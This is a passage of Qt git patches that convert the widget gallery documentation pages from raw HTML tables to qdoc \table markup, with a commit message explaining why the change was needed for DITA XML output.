    -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML - -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\table 100% +\row +\o \image plastique-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image plastique-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\endtable - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage plastique-listview.png -\raw HTML - -\endraw -\inlineimage plastique-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage plastique-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage plastique-progressbar.png -\raw HTML - -\endraw -\inlineimage plastique-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage plastique-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\table 100% +\row +\o \image plastique-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image plastique-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image plastique-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image plastique-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage plastique-slider.png -\raw HTML - -\endraw -\inlineimage plastique-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage plastique-combobox.png -\raw HTML - -\endraw -\inlineimage plastique-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage plastique-spinbox.png -\raw HTML - -\endraw -\inlineimage plastique-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage plastique-dateedit.png -\raw HTML - -\endraw -\inlineimage plastique-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage plastique-textedit.png -\raw HTML - -\endraw -\inlineimage plastique-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage plastique-dial.png -\raw HTML - -\endraw -\inlineimage plastique-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage plastique-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
    -\endraw +\section2 Item Views + +\table 100% +\row +\o \image plastique-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image plastique-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image plastique-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image plastique-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image plastique-label.png + The QLabel widget provides a text or image display. +\o \image plastique-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image plastique-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image plastique-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image plastique-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image plastique-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image plastique-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image plastique-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image plastique-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image plastique-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image plastique-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image plastique-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image plastique-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image plastique-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image plastique-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable */ diff --git a/doc/src/widgets-and-layouts/gallery-windows.qdoc b/doc/src/widgets-and-layouts/gallery-windows.qdoc index d3464a0..fe38745 100644 --- a/doc/src/widgets-and-layouts/gallery-windows.qdoc +++ b/doc/src/widgets-and-layouts/gallery-windows.qdoc @@ -34,345 +34,105 @@ This page shows some of the widgets available in Qt when configured to use the "windows" style. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windows-pushbutton.png -\raw HTML - -\endraw -\inlineimage windows-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button.\raw HTML - -\endraw -The QToolButton class provides a quick-access button to commands - or options, usually used inside a QToolBar.\raw HTML -
    -\endraw -\inlineimage windows-checkbox.png -\raw HTML - -\endraw -\inlineimage windows-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image windows-pushbutton.png + \caption The QPushButton widget provides a command button. +\o \image windows-toolbutton.png + \caption The QToolButton class provides a quick-access button to commands + or options, usually used inside a QToolBar. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windows-groupbox.png -\raw HTML - -\endraw -\inlineimage windows-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage windows-frame.png -\raw HTML - -\endraw -\inlineimage windows-toolbox.png -\raw HTML -
    -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML - -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\table 100% +\row +\o \image windows-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image windows-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\endtable - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windows-listview.png -\raw HTML - -\endraw -\inlineimage windows-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage windows-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windows-progressbar.png -\raw HTML - -\endraw -\inlineimage windows-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage windows-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\table 100% +\row +\o \image windows-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image windows-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image windows-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image windows-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windows-slider.png -\raw HTML - -\endraw -\inlineimage windows-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage windows-combobox.png -\raw HTML - -\endraw -\inlineimage windows-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage windows-spinbox.png -\raw HTML - -\endraw -\inlineimage windows-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage windows-dateedit.png -\raw HTML - -\endraw -\inlineimage windows-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage windows-textedit.png -\raw HTML - -\endraw -\inlineimage windows-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage windows-dial.png -\raw HTML - -\endraw -\inlineimage windows-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage windows-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
    -\endraw +\section2 Item Views + +\table 100% +\row +\o \image windows-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image windows-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image windows-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image windows-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image windows-label.png + The QLabel widget provides a text or image display. +\o \image windows-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image windows-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image windows-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image windows-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image windows-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image windows-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image windows-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image windows-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image windows-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image windows-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image windows-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image windows-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image windows-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image windows-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable */ diff --git a/doc/src/widgets-and-layouts/gallery-windowsvista.qdoc b/doc/src/widgets-and-layouts/gallery-windowsvista.qdoc index 00afd52..e017a2c 100644 --- a/doc/src/widgets-and-layouts/gallery-windowsvista.qdoc +++ b/doc/src/widgets-and-layouts/gallery-windowsvista.qdoc @@ -34,345 +34,105 @@ This page shows some of the widgets available in Qt when configured to use the "windowsvista" style. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsvista-pushbutton.png -\raw HTML - -\endraw -\inlineimage windowsvista-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button.\raw HTML - -\endraw -The QToolButton class provides a quick-access button to commands - or options, usually used inside a QToolBar.\raw HTML -
    -\endraw -\inlineimage windowsvista-checkbox.png -\raw HTML - -\endraw -\inlineimage windowsvista-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image windowsvista-pushbutton.png + \caption The QPushButton widget provides a command button. +\o \image windowsvista-toolbutton.png + \caption The QToolButton class provides a quick-access button to commands + or options, usually used inside a QToolBar. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsvista-groupbox.png -\raw HTML - -\endraw -\inlineimage windowsvista-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage windowsvista-frame.png -\raw HTML - -\endraw -\inlineimage windowsvista-toolbox.png -\raw HTML -
    -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML - -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\table 100% +\row +\o \image windowsvista-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image windowsvista-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\endtable - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsvista-listview.png -\raw HTML - -\endraw -\inlineimage windowsvista-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage windowsvista-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsvista-progressbar.png -\raw HTML - -\endraw -\inlineimage windowsvista-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage windowsvista-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\table 100% +\row +\o \image windowsvista-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image windowsvista-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image windowsvista-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image windowsvista-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsvista-slider.png -\raw HTML - -\endraw -\inlineimage windowsvista-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage windowsvista-combobox.png -\raw HTML - -\endraw -\inlineimage windowsvista-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage windowsvista-spinbox.png -\raw HTML - -\endraw -\inlineimage windowsvista-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage windowsvista-dateedit.png -\raw HTML - -\endraw -\inlineimage windowsvista-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage windowsvista-textedit.png -\raw HTML - -\endraw -\inlineimage windowsvista-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage windowsvista-dial.png -\raw HTML - -\endraw -\inlineimage windowsvista-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage windowsvista-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
    -\endraw +\section2 Item Views + +\table 100% +\row +\o \image windowsvista-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image windowsvista-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image windowsvista-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image windowsvista-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image windowsvista-label.png + The QLabel widget provides a text or image display. +\o \image windowsvista-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image windowsvista-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image windowsvista-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image windowsvista-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image windowsvista-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image windowsvista-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image windowsvista-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image windowsvista-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image windowsvista-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image windowsvista-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image windowsvista-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image windowsvista-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image windowsvista-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image windowsvista-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable */ diff --git a/doc/src/widgets-and-layouts/gallery-windowsxp.qdoc b/doc/src/widgets-and-layouts/gallery-windowsxp.qdoc index 60c8ff0..f3c53ee 100644 --- a/doc/src/widgets-and-layouts/gallery-windowsxp.qdoc +++ b/doc/src/widgets-and-layouts/gallery-windowsxp.qdoc @@ -34,345 +34,105 @@ This page shows some of the widgets available in Qt when configured to use the "windowsxp" style. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsxp-pushbutton.png -\raw HTML - -\endraw -\inlineimage windowsxp-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button.\raw HTML - -\endraw -The QToolButton class provides a quick-access button to commands - or options, usually used inside a QToolBar.\raw HTML -
    -\endraw -\inlineimage windowsxp-checkbox.png -\raw HTML - -\endraw -\inlineimage windowsxp-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image windowsxp-pushbutton.png + \caption The QPushButton widget provides a command button. +\o \image windowsxp-toolbutton.png + \caption The QToolButton class provides a quick-access button to commands + or options, usually used inside a QToolBar. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsxp-groupbox.png -\raw HTML - -\endraw -\inlineimage windowsxp-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage windowsxp-frame.png -\raw HTML - -\endraw -\inlineimage windowsxp-toolbox.png -\raw HTML -
    -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML - -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\table 100% +\row +\o \image windowsxp-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image windowsxp-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\endtable - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsxp-listview.png -\raw HTML - -\endraw -\inlineimage windowsxp-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage windowsxp-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsxp-progressbar.png -\raw HTML - -\endraw -\inlineimage windowsxp-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage windowsxp-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\table 100% +\row +\o \image windowsxp-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image windowsxp-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image windowsxp-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image windowsxp-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage windowsxp-slider.png -\raw HTML - -\endraw -\inlineimage windowsxp-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage windowsxp-combobox.png -\raw HTML - -\endraw -\inlineimage windowsxp-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage windowsxp-spinbox.png -\raw HTML - -\endraw -\inlineimage windowsxp-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage windowsxp-dateedit.png -\raw HTML - -\endraw -\inlineimage windowsxp-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage windowsxp-textedit.png -\raw HTML - -\endraw -\inlineimage windowsxp-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage windowsxp-dial.png -\raw HTML - -\endraw -\inlineimage windowsxp-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage windowsxp-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
    -\endraw +\section2 Item Views + +\table 100% +\row +\o \image windowsxp-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image windowsxp-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image windowsxp-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image windowsxp-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image windowsxp-label.png + The QLabel widget provides a text or image display. +\o \image windowsxp-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image windowsxp-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image windowsxp-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image windowsxp-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image windowsxp-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image windowsxp-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image windowsxp-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image windowsxp-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image windowsxp-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image windowsxp-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image windowsxp-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image windowsxp-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image windowsxp-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image windowsxp-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable */ -- cgit v0.12 From 53dc4de29913356e9521ac433fb13b36d2b5ab8b Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 13 Dec 2010 12:23:29 +0100 Subject: doc: Replaced some \raw and \endraw uses with \table and \endtable In DITA XML, there is no straightforward way to translate raw html into DITA XML, because the XML stream writer automagically escapes all the raw html elements. So I am beginning to replace uses of the \raw command with \table, which gets output correctly. The problem is the XML stream writer must see each XML element start and end, because it keeps them on a stack. When you output XML elements with the writeCharacters() function, it escapes the '<' and '>' of any XML elements the character string contains. --- doc/src/widgets-and-layouts/gallery.qdoc | 112 +++++++++---------------------- 1 file changed, 30 insertions(+), 82 deletions(-) diff --git a/doc/src/widgets-and-layouts/gallery.qdoc b/doc/src/widgets-and-layouts/gallery.qdoc index 201817b..d11d9c8 100644 --- a/doc/src/widgets-and-layouts/gallery.qdoc +++ b/doc/src/widgets-and-layouts/gallery.qdoc @@ -34,103 +34,51 @@ with the native desktop enviroment. Below, you can find links to the various widget styles that are supplied with Qt 4. - \raw HTML - - - - - - - - - - - - - - - - - - - - - - - - -
